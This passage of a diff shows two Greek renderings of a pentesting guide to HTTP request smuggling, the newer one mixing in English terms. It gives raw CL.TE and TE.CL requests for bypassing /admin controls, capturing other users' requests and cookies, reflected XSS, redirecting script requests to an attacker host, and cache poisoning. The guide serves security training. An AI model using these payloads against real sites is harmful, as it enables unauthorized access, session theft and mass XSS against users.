Αν στοχεύετε σε αποσύνδεση από την πλευρά του πελάτη/προγράμματος περιήγησης, το κακόβουλο αίτημα πρέπει να μπορεί να σταλεί από ένα πρόγραμμα περιήγησης διασυνοριακά. Τεχνάσματα παραπλάνησης κεφαλίδων δεν θα λειτουργήσουν. Επικεντρωθείτε σε πρωτότυπα που είναι προσβάσιμα μέσω πλοήγησης/λήψης, και στη συνέχεια μεταβείτε σε μολυσματική προσωρινή αποθήκευση, αποκάλυψη κεφαλίδων ή παράκαμψη ελέγχου front-end όπου τα downstream στοιχεία αντικατοπτρίζουν ή αποθηκεύουν απαντήσεις.
|
||||
Αν στοχεύετε browser-powered/client-side desync, το κακόβουλο request πρέπει να μπορεί να σταλεί από browser cross-origin. Τα tricks header obfuscation δεν θα λειτουργήσουν. Επικεντρωθείτε σε primitives προσβάσιμα μέσω navigation/fetch, και μετά pivot σε cache poisoning, header disclosure ή bypass ελέγχων front-end όπου downstream components αντανακλούν ή cache-άρουν απαντήσεις.
|
||||
|
||||
Για υπόβαθρο και ροές εργασίας από άκρο σε άκρο:
|
||||
Για υπόβαθρο και end-to-end workflows:
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
### Εργαλεία για βοήθεια στην απόφαση
|
||||
### Εργαλεία για να βοηθήσουν στην απόφαση
|
||||
|
||||
- HTTP Hacker (Burp BApp Store): αποκαλύπτει χαμηλού επιπέδου συμπεριφορά HTTP και συγχώνευση υποδοχών.
|
||||
- "Αποστολή ή προσωρινή αποθήκευση;" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder: ακριβής έλεγχος της επαναχρησιμοποίησης σύνδεσης μέσω `requestsPerConnection`.
|
||||
- Burp HTTP Request Smuggler: περιλαμβάνει μια δοκιμή κατάστασης σύνδεσης για να εντοπίσει τη δρομολόγηση/επικύρωση πρώτου αιτήματος.
|
||||
- HTTP Hacker (Burp BApp Store): αποκαλύπτει χαμηλού επιπέδου συμπεριφορά HTTP και socket concatenation.
|
||||
- "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
|
||||
- Turbo Intruder: ακριβής έλεγχος της connection reuse μέσω `requestsPerConnection`.
|
||||
- Burp HTTP Request Smuggler: περιλαμβάνει connection‑state probe για εντοπισμό first‑request routing/validation.
|
||||
|
||||
> [!NOTE]
|
||||
> Αντιμετωπίστε τις επιδράσεις μόνο επαναχρησιμοποίησης ως μη ζητήματα εκτός αν μπορείτε να αποδείξετε αποσύνδεση από την πλευρά του διακομιστή και να συνδέσετε συγκεκριμένο αντίκτυπο (μολυσματικό αντικείμενο προσωρινής αποθήκευσης, διαρροή εσωτερικής κεφαλίδας που επιτρέπει παράκαμψη προνομίων, παρακάμψη ελέγχου FE, κ.λπ.).
|
||||
> Θεωρήστε τα reuse-only effects ως μη-προβλήματα εκτός κι αν μπορείτε να αποδείξετε server-side desync και να επισυνάψετε συγκεκριμένη επίπτωση (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, κ.λπ.).
|
||||
|
||||
## Κακή χρήση HTTP Request Smuggling
|
||||
## Κατάχρηση HTTP Request Smuggling
|
||||
|
||||
### Παράκαμψη της Ασφάλειας Front-End μέσω HTTP Request Smuggling
|
||||
### Circumventing Front-End Security via HTTP Request Smuggling
|
||||
|
||||
Μερικές φορές, οι front-end διακομιστές μεσολάβησης επιβάλλουν μέτρα ασφαλείας, εξετάζοντας τα εισερχόμενα αιτήματα. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα το HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με τον front-end διακομιστή μεσολάβησης να μπλοκάρει ενεργά τέτοιες προσπάθειες. Παρ' όλα αυτά, αυτός ο διακομιστής μπορεί να παραλείψει να εξετάσει τις ενσωματωμένες αιτήσεις μέσα σε ένα λαθραίο HTTP αίτημα, αφήνοντας ένα παραθυράκι για την παράκαμψη αυτών των περιορισμών.
|
||||
Κάποιες φορές, front-end proxies επιβάλλουν μέτρα ασφάλειας, εξετάζοντας διεξοδικά τα εισερχόμενα requests. Ωστόσο, αυτά τα μέτρα μπορούν να παρακαμφθούν εκμεταλλευόμενα HTTP Request Smuggling, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε περιορισμένα endpoints. Για παράδειγμα, η πρόσβαση στο `/admin` μπορεί να απαγορεύεται εξωτερικά, με το front-end proxy να μπλοκάρει ενεργά τέτοιες προσπάθειες. Παρ' όλα αυτά, αυτό το proxy μπορεί να παραμελήσει τον έλεγχο ενσωματωμένων requests μέσα σε ένα smuggled HTTP request, αφήνοντας μια τρύπα για την παράκαμψη αυτών των περιορισμών.
|
||||
|
||||
Σκεφτείτε τα παρακάτω παραδείγματα που απεικονίζουν πώς το HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να παρακάμψει τους ελέγχους ασφαλείας front-end, στοχεύοντας συγκεκριμένα τη διαδρομή `/admin`, η οποία συνήθως φυλάσσεται από τον front-end διακομιστή μεσολάβησης:
|
||||
Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
|
||||
|
||||
**CL.TE Παράδειγμα**
|
||||
**CL.TE Example**
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: [redacted].web-security-academy.net
|
||||
@ -408,7 +410,7 @@ Content-Length: 10
|
||||
|
||||
x=
|
||||
```
|
||||
Στην επίθεση CL.TE, η κεφαλίδα `Content-Length` χρησιμοποιείται για το αρχικό αίτημα, ενώ το επόμενο ενσωματωμένο αίτημα χρησιμοποιεί την κεφαλίδα `Transfer-Encoding: chunked`. Ο μεσολαβητής front-end επεξεργάζεται το αρχικό αίτημα `POST` αλλά αποτυγχάνει να ελέγξει το ενσωματωμένο αίτημα `GET /admin`, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στο μονοπάτι `/admin`.
|
||||
Στην CL.TE attack, η κεφαλίδα `Content-Length` αξιοποιείται για το αρχικό request, ενώ το επακόλουθο ενσωματωμένο request χρησιμοποιεί την κεφαλίδα `Transfer-Encoding: chunked`. Ο front-end proxy επεξεργάζεται το αρχικό `POST` request αλλά αποτυγχάνει να εξετάσει το ενσωματωμένο `GET /admin` request, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση στη διαδρομή `/admin`.
|
||||
|
||||
**TE.CL Παράδειγμα**
|
||||
```
|
||||
@ -426,13 +428,13 @@ a=x
|
||||
0
|
||||
|
||||
```
|
||||
Αντίθετα, στην επίθεση TE.CL, το αρχικό `POST` αίτημα χρησιμοποιεί `Transfer-Encoding: chunked`, και το επόμενο ενσωματωμένο αίτημα επεξεργάζεται με βάση την κεφαλίδα `Content-Length`. Παρόμοια με την επίθεση CL.TE, ο προεπιλεγμένος διακομιστής παρακάμπτει το λαθραίο αίτημα `GET /admin`, παραχωρώντας ακούσια πρόσβαση στο περιορισμένο `/admin` μονοπάτι.
|
||||
Αντίθετα, στην επίθεση TE.CL, το αρχικό `POST` αίτημα χρησιμοποιεί `Transfer-Encoding: chunked`, και το επακόλουθο εμφωλευμένο αίτημα επεξεργάζεται με βάση το header `Content-Length`. Όπως και στην επίθεση CL.TE, ο front-end proxy παραβλέπει το εμφωλευμένο `GET /admin` αίτημα, παρέχοντας άθελά του πρόσβαση στο περιορισμένο path `/admin`.
|
||||
|
||||
### Αποκάλυψη αναδιατύπωσης αιτήσεων front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Αποκάλυψη επανεγγραφής αιτήσεων front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Οι εφαρμογές συχνά χρησιμοποιούν έναν **διακομιστή front-end** για να τροποποιούν τα εισερχόμενα αιτήματα πριν τα περάσουν στον διακομιστή back-end. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη κεφαλίδων, όπως `X-Forwarded-For: <IP του πελάτη>`, για να μεταφέρει τη διεύθυνση IP του πελάτη στον back-end. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς μπορεί να αποκαλύψει τρόπους για **να παρακαμφθούν οι προστασίες** ή **να αποκαλυφθούν κρυφές πληροφορίες ή σημεία πρόσβασης**.
|
||||
Οι εφαρμογές συχνά χρησιμοποιούν έναν **front-end server** για να τροποποιούν τα εισερχόμενα αιτήματα προτού τα προωθήσουν στον back-end server. Μια τυπική τροποποίηση περιλαμβάνει την προσθήκη headers, όπως `X-Forwarded-For: <IP of the client>`, για να μεταβιβάσει τη διεύθυνση IP του πελάτη στον back-end. Η κατανόηση αυτών των τροποποιήσεων μπορεί να είναι κρίσιμη, καθώς ενδέχεται να αποκαλύψει τρόπους για να **παρακάμψετε προστασίες** ή να **αποκαλύψετε κρυφές πληροφορίες ή endpoints**.
|
||||
|
||||
Για να ερευνήσετε πώς ένας διακομιστής μεσολάβησης τροποποιεί ένα αίτημα, εντοπίστε μια παράμετρο POST που ο διακομιστής back-end επαναλαμβάνει στην απάντηση. Στη συνέχεια, δημιουργήστε ένα αίτημα, χρησιμοποιώντας αυτή την παράμετρο τελευταία, παρόμοια με το εξής:
|
||||
Για να ερευνήσετε πώς ένας proxy τροποποιεί ένα αίτημα, εντοπίστε μια παράμετρο `POST` που ο back-end επιστρέφει στην απάντηση. Στη συνέχεια, συντάξτε ένα αίτημα, χρησιμοποιώντας αυτήν την παράμετρο τελευταία, παρόμοιο με το ακόλουθο:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -449,19 +451,19 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
Σε αυτή τη δομή, τα επόμενα στοιχεία αιτήματος προστίθενται μετά το `search=`, το οποίο είναι η παράμετρος που αντανακλάται στην απάντηση. Αυτή η αντανάκλαση θα εκθέσει τις κεφαλίδες του επόμενου αιτήματος.
|
||||
Σε αυτή τη δομή, τα επόμενα στοιχεία του αιτήματος προστίθενται μετά το `search=`, το οποίο είναι η παράμετρος που ανακλάται στην απάντηση. Αυτή η ανάκλαση θα αποκαλύψει τα headers του επόμενου αιτήματος.
|
||||
|
||||
Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα `Content-Length` του εσωτερικού αιτήματος με το πραγματικό μήκος περιεχομένου. Είναι σκόπιμο να ξεκινήσετε με μια μικρή τιμή και να αυξάνετε σταδιακά, καθώς μια πολύ χαμηλή τιμή θα κόψει τα αντανακλώμενα δεδομένα, ενώ μια πολύ υψηλή τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.
|
||||
Είναι σημαντικό να ευθυγραμμιστεί η κεφαλίδα `Content-Length` του ενθεμένου αιτήματος με το πραγματικό μήκος του περιεχομένου. Είναι προτιμότερο να ξεκινήσετε με μια μικρή τιμή και να αυξάνετε σταδιακά, καθώς μια πολύ μικρή τιμή θα αποκόψει τα ανακλώμενα δεδομένα, ενώ μια πολύ μεγάλη τιμή μπορεί να προκαλέσει σφάλμα στο αίτημα.
|
||||
|
||||
Αυτή η τεχνική είναι επίσης εφαρμόσιμη στο πλαίσιο μιας ευπάθειας TE.CL, αλλά το αίτημα θα πρέπει να τερματίζεται με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης.
|
||||
Η τεχνική αυτή ισχύει επίσης στο πλαίσιο μιας ευπάθειας TE.CL, αλλά το αίτημα πρέπει να τερματίζει με `search=\r\n0`. Ανεξάρτητα από τους χαρακτήρες νέας γραμμής, οι τιμές θα προστίθενται στην παράμετρο search.
|
||||
|
||||
Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων αιτήματος που γίνονται από τον μεσολαβητή front-end, εκτελώντας ουσιαστικά μια αυτοκατευθυνόμενη έρευνα.
|
||||
Αυτή η μέθοδος εξυπηρετεί κυρίως την κατανόηση των τροποποιήσεων που κάνει ο front-end proxy στα αιτήματα, ουσιαστικά πραγματοποιώντας μια αυτο-κατευθυνόμενη διερεύνηση.
|
||||
|
||||
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
### Καταγραφή αιτημάτων άλλων χρηστών <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Είναι εφικτό να καταγράψετε τα αιτήματα του επόμενου χρήστη προσθέτοντας ένα συγκεκριμένο αίτημα ως την τιμή μιας παραμέτρου κατά τη διάρκεια μιας λειτουργίας POST. Να πώς μπορεί να επιτευχθεί αυτό:
|
||||
Είναι εφικτό να καταγράψετε τα αιτήματα του επόμενου χρήστη προσαρτώντας ένα συγκεκριμένο request ως τιμή μιας παραμέτρου κατά τη διάρκεια μιας POST λειτουργίας. Δείτε πώς μπορεί να επιτευχθεί αυτό:
|
||||
|
||||
Με την προσθήκη του παρακάτω αιτήματος ως την τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το αίτημα του επόμενου πελάτη:
|
||||
Με το να προσαρτήσετε το ακόλουθο αίτημα ως τιμή μιας παραμέτρου, μπορείτε να αποθηκεύσετε το επακόλουθο αίτημα του πελάτη:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
@ -481,20 +483,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
Σε αυτό το σενάριο, η **παράμετρος σχολίου** προορίζεται να αποθηκεύσει τα περιεχόμενα μέσα στην ενότητα σχολίων μιας ανάρτησης σε μια δημόσια προσβάσιμη σελίδα. Ως εκ τούτου, τα περιεχόμενα του επόμενου αιτήματος θα εμφανιστούν ως σχόλιο.
|
||||
Σε αυτό το σενάριο, η **παράμετρος comment** προορίζεται για την αποθήκευση του περιεχομένου στην ενότητα σχολίων μιας δημοσίευσης σε μια δημόσια προσβάσιμη σελίδα. Κατά συνέπεια, τα περιεχόμενα του επόμενου αιτήματος θα εμφανιστούν ως σχόλιο.
|
||||
|
||||
Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρου που χρησιμοποιείται στο λαθραίο αίτημα. Για υποβολές φορμών με κωδικοποίηση URL, αυτός ο διαχωριστής είναι ο χαρακτήρας `&`. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το αίτημα του θύματος θα σταματήσει στον πρώτο `&`, ο οποίος μπορεί ακόμη και να είναι μέρος της συμβολοσειράς ερωτήματος.
|
||||
Ωστόσο, αυτή η τεχνική έχει περιορισμούς. Γενικά, καταγράφει δεδομένα μόνο μέχρι τον διαχωριστή παραμέτρων που χρησιμοποιείται στο smuggled request. Για υποβολές φορμών URL-encoded, αυτός ο διαχωριστής είναι ο χαρακτήρας `&`. Αυτό σημαίνει ότι το καταγεγραμμένο περιεχόμενο από το αίτημα του θύματος θα σταματήσει στο πρώτο `&`, το οποίο μπορεί ακόμη και να αποτελεί μέρος του query string.
|
||||
|
||||
Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης βιώσιμη με μια ευπάθεια TE.CL. Σε τέτοιες περιπτώσεις, το αίτημα θα πρέπει να ολοκληρώνεται με `search=\r\n0`. Ανεξαρτήτως χαρακτήρων νέας γραμμής, οι τιμές θα προστεθούν στην παράμετρο αναζήτησης.
|
||||
Επιπλέον, αξίζει να σημειωθεί ότι αυτή η προσέγγιση είναι επίσης εφικτή με μια ευπάθεια TE.CL. Σε αυτές τις περιπτώσεις, το αίτημα θα πρέπει να ολοκληρώνεται με `search=\r\n0`. Ανεξαρτήτως των χαρακτήρων νέας γραμμής, οι τιμές θα προσαρτώνται στην παράμετρο search.
|
||||
|
||||
### Χρήση HTTP request smuggling για την εκμετάλλευση του Reflected XSS
|
||||
### Χρήση HTTP request smuggling για την εκμετάλλευση Reflected XSS
|
||||
|
||||
Το HTTP Request Smuggling μπορεί να αξιοποιηθεί για την εκμετάλλευση ιστοσελίδων που είναι ευάλωτες σε **Reflected XSS**, προσφέροντας σημαντικά πλεονεκτήματα:
|
||||
HTTP Request Smuggling μπορεί να χρησιμοποιηθεί για να εκμεταλλευτεί ιστοσελίδες ευάλωτες σε **Reflected XSS**, προσφέροντας σημαντικά πλεονεκτήματα:
|
||||
|
||||
- Η αλληλεπίδραση με τους στόχους χρήστες **δεν απαιτείται**.
|
||||
- Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι **κανονικά μη προσβάσιμα**, όπως οι κεφαλίδες αιτήματος HTTP.
|
||||
- Η αλληλεπίδραση με τους χρήστες-στόχους **δεν απαιτείται**.
|
||||
- Επιτρέπει την εκμετάλλευση του XSS σε μέρη του αιτήματος που είναι **συνήθως απρόσιτα**, όπως τα HTTP request headers.
|
||||
|
||||
Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω της κεφαλίδας User-Agent, το παρακάτω payload δείχνει πώς να εκμεταλλευτεί αυτή την ευπάθεια:
|
||||
Σε σενάρια όπου μια ιστοσελίδα είναι ευάλωτη σε Reflected XSS μέσω του User-Agent header, το ακόλουθο payload δείχνει πώς να εκμεταλλευτείτε αυτήν την ευπάθεια:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -515,36 +517,36 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
Αυτό το payload είναι δομημένο για να εκμεταλλευτεί την ευπάθεια με:
|
||||
This payload είναι δομημένο ώστε να εκμεταλλευτεί την ευπάθεια με τους εξής τρόπους:
|
||||
|
||||
1. Να ξεκινήσει ένα `POST` αίτημα, φαινομενικά τυπικό, με ένα `Transfer-Encoding: chunked` header για να υποδείξει την αρχή της λαθραίας μεταφοράς.
|
||||
2. Να ακολουθήσει με ένα `0`, που σηματοδοτεί το τέλος του σώματος του chunked μηνύματος.
|
||||
3. Στη συνέχεια, εισάγεται ένα λαθραίο `GET` αίτημα, όπου το `User-Agent` header είναι εγχυμένο με ένα script, `<script>alert(1)</script>`, που ενεργοποιεί το XSS όταν ο διακομιστής επεξεργάζεται αυτό το επόμενο αίτημα.
|
||||
1. Εκκίνηση ενός `POST` request, φαινομενικά τυπικού, με header `Transfer-Encoding: chunked` για να δηλώσει την έναρξη του smuggling.
|
||||
2. Ακολουθεί `0`, που σηματοδοτεί το τέλος του chunked message body.
|
||||
3. Στη συνέχεια εισάγεται ένα smuggled `GET` request, όπου το header `User-Agent` εγχέεται με ένα script, `<script>alert(1)</script>`, ενεργοποιώντας το XSS όταν ο server επεξεργάζεται αυτό το επακόλουθο request.
|
||||
|
||||
Με την παραποίηση του `User-Agent` μέσω λαθραίας μεταφοράς, το payload παρακάμπτει τους κανονικούς περιορισμούς αιτημάτων, εκμεταλλευόμενο έτσι την ευπάθεια Reflected XSS με έναν μη τυπικό αλλά αποτελεσματικό τρόπο.
|
||||
Με την παραποίηση του `User-Agent` μέσω smuggling, το payload παρακάμπτει τους κανονικούς περιορισμούς των requests, εκμεταλλευόμενο έτσι τη Reflected XSS ευπάθεια με έναν μη-τυπικό αλλά αποτελεσματικό τρόπο.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> Σε περίπτωση που το περιεχόμενο του χρήστη αντανακλάται σε μια απάντηση με **`Content-type`** όπως **`text/plain`**, αποτρέποντας την εκτέλεση του XSS. Αν ο διακομιστής υποστηρίζει **HTTP/0.9 μπορεί να είναι δυνατό να παρακαμφθεί αυτό**!
|
||||
> Σε περίπτωση που το περιεχόμενο του χρήστη ανακλάται σε μια απάντηση με **`Content-type`** όπως **`text/plain`**, αποτρέπεται η εκτέλεση του XSS. Εάν ο server υποστηρίζει **HTTP/0.9** μπορεί να είναι δυνατή η παράκαμψη αυτού!
|
||||
|
||||
Η έκδοση HTTP/0.9 ήταν προηγούμενη της 1.0 και χρησιμοποιεί μόνο **GET** ρήματα και **δεν** απαντά με **headers**, μόνο το σώμα.
|
||||
Η έκδοση HTTP/0.9 ήταν προηγούμενη της 1.0 και χρησιμοποιεί μόνο ρήματα **GET** και **δεν** απαντά με **headers**, μόνο με το σώμα.
|
||||
|
||||
Σε [**αυτή τη γραφή**](https://mizu.re/post/twisty-python), αυτό εκμεταλλεύτηκε με μια λαθραία μεταφορά αιτήματος και ένα **ευάλωτο endpoint που θα απαντήσει με την είσοδο του χρήστη** για να λαθραία μεταφέρει ένα αίτημα με HTTP/0.9. Η παράμετρος που θα αντανακλαστεί στην απάντηση περιείχε μια **ψεύτικη απάντηση HTTP/1.1 (με headers και σώμα)** έτσι ώστε η απάντηση να περιέχει έγκυρο εκτελέσιμο JS κώδικα με `Content-Type` `text/html`.
|
||||
Στο [**this writeup**](https://mizu.re/post/twisty-python), αυτό εκμεταλλεύτηκε με ένα request smuggling και ένα **vulnerable endpoint που θα απαντήσει με την είσοδο του χρήστη** για να smuggle ένα request με HTTP/0.9. Η παράμετρος που θα ανακλαστεί στην απάντηση περιείχε μια **ψεύτικη HTTP/1.1 response (με headers και body)** έτσι ώστε η απάντηση να περιέχει έγκυρο εκτελέσιμο JS code με `Content-Type` `text/html`.
|
||||
|
||||
### Εκμετάλλευση Εντός Σελίδας Ανακατευθύνσεων με HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Οι εφαρμογές συχνά ανακατευθύνουν από μια διεύθυνση URL σε άλλη χρησιμοποιώντας το hostname από το `Host` header στην ανακατευθυνόμενη URL. Αυτό είναι κοινό με διακομιστές ιστού όπως ο Apache και ο IIS. Για παράδειγμα, η αίτηση ενός φακέλου χωρίς τελικό slash έχει ως αποτέλεσμα μια ανακατεύθυνση για να συμπεριληφθεί το slash:
|
||||
Οι εφαρμογές συχνά κάνουν redirect από ένα URL σε άλλο χρησιμοποιώντας το hostname από το header `Host` στο redirect URL. Αυτό είναι συνηθισμένο σε web servers όπως Apache και IIS. Για παράδειγμα, το αίτημα ενός φακέλου χωρίς trailing slash έχει ως αποτέλεσμα ένα redirect για να προστεθεί το slash:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
```
|
||||
Αποτελέσματα σε:
|
||||
Οδηγεί σε:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
Αν και φαίνεται αβλαβές, αυτή η συμπεριφορά μπορεί να χειραγωγηθεί χρησιμοποιώντας HTTP request smuggling για να ανακατευθύνει τους χρήστες σε έναν εξωτερικό ιστότοπο. Για παράδειγμα:
|
||||
Αν και φαινομενικά ακίνδυνη, αυτή η συμπεριφορά μπορεί να εκμεταλλευθεί χρησιμοποιώντας HTTP request smuggling για να ανακατευθύνει χρήστες σε έναν εξωτερικό ιστότοπο. Για παράδειγμα:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -558,29 +560,29 @@ GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
Αυτό το λαθραίο αίτημα θα μπορούσε να προκαλέσει την ανακατεύθυνση του επόμενου επεξεργασμένου αιτήματος χρήστη σε μια ιστοσελίδα που ελέγχεται από τον επιτιθέμενο:
|
||||
Αυτό το smuggled request θα μπορούσε να προκαλέσει το επόμενο επεξεργασμένο αίτημα χρήστη να ανακατευθυνθεί σε έναν attacker-controlled website:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: XGET /scripts/include.js HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
```
|
||||
Αποτελέσματα σε:
|
||||
Έχει ως αποτέλεσμα:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript παρεμποδίζεται. Ο επιτιθέμενος μπορεί δυνητικά να συμβιβάσει τον χρήστη παρέχοντας κακόβουλο JavaScript ως απάντηση.
|
||||
Σε αυτό το σενάριο, το αίτημα ενός χρήστη για ένα αρχείο JavaScript υποκλέπτεται. Ο επιτιθέμενος μπορεί ενδεχομένως να θέσει σε κίνδυνο τον χρήστη παρέχοντας κακόβουλο JavaScript ως απάντηση.
|
||||
|
||||
### Εκμετάλλευση της Δηλητηρίασης Cache Ιστοσελίδας μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Εκμετάλλευση Web Cache Poisoning μέσω HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Η δηλητηρίαση cache ιστοσελίδας μπορεί να εκτελεστεί αν οποιοδήποτε στοιχείο της **υποδομής front-end αποθηκεύει περιεχόμενο στην cache**, συνήθως για να βελτιώσει την απόδοση. Με την παραποίηση της απάντησης του διακομιστή, είναι δυνατόν να **δηλητηριαστεί η cache**.
|
||||
Το Web cache poisoning μπορεί να πραγματοποιηθεί εάν κάποιο στοιχείο της υποδομής front-end κάνει cache περιεχόμενο, συνήθως για βελτίωση της απόδοσης. Με την παραποίηση της απάντησης του server, είναι δυνατό να poison the cache.
|
||||
|
||||
Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του διακομιστή θα μπορούσαν να τροποποιηθούν για να επιστρέψουν ένα σφάλμα 404 (ανατρέξτε σε [Basic Examples](#basic-examples)). Ομοίως, είναι εφικτό να ξεγελάσουμε τον διακομιστή ώστε να παραδώσει περιεχόμενο `/index.html` ως απάντηση σε ένα αίτημα για `/static/include.js`. Ως αποτέλεσμα, το περιεχόμενο `/static/include.js` αντικαθίσταται στην cache με αυτό του `/index.html`, καθιστώντας το `/static/include.js` μη προσβάσιμο στους χρήστες, δυνητικά οδηγώντας σε Άρνηση Υπηρεσίας (DoS).
|
||||
Προηγουμένως, παρατηρήσαμε πώς οι απαντήσεις του server μπορούν να τροποποιηθούν ώστε να επιστρέφουν 404 error (ανατρέξτε στο [Basic Examples](#basic-examples)). Παρομοίως, είναι εφικτό να ξεγελάσουμε τον server ώστε να επιστρέψει το περιεχόμενο του /index.html ως απάντηση σε αίτημα για /static/include.js. Κατόπιν, το περιεχόμενο του /static/include.js αντικαθίσταται στην cache με αυτό του /index.html, καθιστώντας το /static/include.js μη προσβάσιμο στους χρήστες, πιθανώς προκαλώντας Denial of Service (DoS).
|
||||
|
||||
Αυτή η τεχνική γίνεται ιδιαίτερα ισχυρή αν ανακαλυφθεί μια **ευπάθεια Open Redirect** ή αν υπάρχει **ανακατεύθυνση στον ιστότοπο σε μια ανοιχτή ανακατεύθυνση**. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το αποθηκευμένο περιεχόμενο του `/static/include.js` με ένα σενάριο υπό τον έλεγχο του επιτιθέμενου, επιτρέποντας ουσιαστικά μια εκτενή επίθεση Cross-Site Scripting (XSS) σε όλους τους πελάτες που ζητούν το ενημερωμένο `/static/include.js`.
|
||||
Η τεχνική αυτή γίνεται ιδιαίτερα ισχυρή αν εντοπιστεί μια ευπάθεια τύπου Open Redirect ή υπάρχει on-site redirect προς ένα open redirect. Τέτοιες ευπάθειες μπορούν να εκμεταλλευτούν για να αντικαταστήσουν το cached περιεχόμενο του /static/include.js με ένα script υπό τον έλεγχο του επιτιθέμενου, ουσιαστικά επιτρέποντας ένα ευρείας κλίμακας Cross-Site Scripting (XSS) εναντίον όλων των clients που ζητούν το ενημερωμένο /static/include.js.
|
||||
|
||||
Παρακάτω είναι μια απεικόνιση της εκμετάλλευσης **δηλητηρίασης cache σε συνδυασμό με μια ανακατεύθυνση στον ιστότοπο σε ανοιχτή ανακατεύθυνση**. Ο στόχος είναι να τροποποιηθεί το περιεχόμενο της cache του `/static/include.js` για να εξυπηρετήσει κώδικα JavaScript υπό τον έλεγχο του επιτιθέμενου:
|
||||
Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -598,20 +600,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
Σημειώστε το ενσωματωμένο αίτημα που στοχεύει το `/post/next?postId=3`. Αυτό το αίτημα θα ανακατευθυνθεί στο `/post?postId=4`, χρησιμοποιώντας την **τιμή κεφαλίδας Host** για να προσδιορίσει το domain. Αλλάζοντας την **κεφαλίδα Host**, ο επιτιθέμενος μπορεί να ανακατευθύνει το αίτημα στο domain του (**on-site redirect to open redirect**).
|
||||
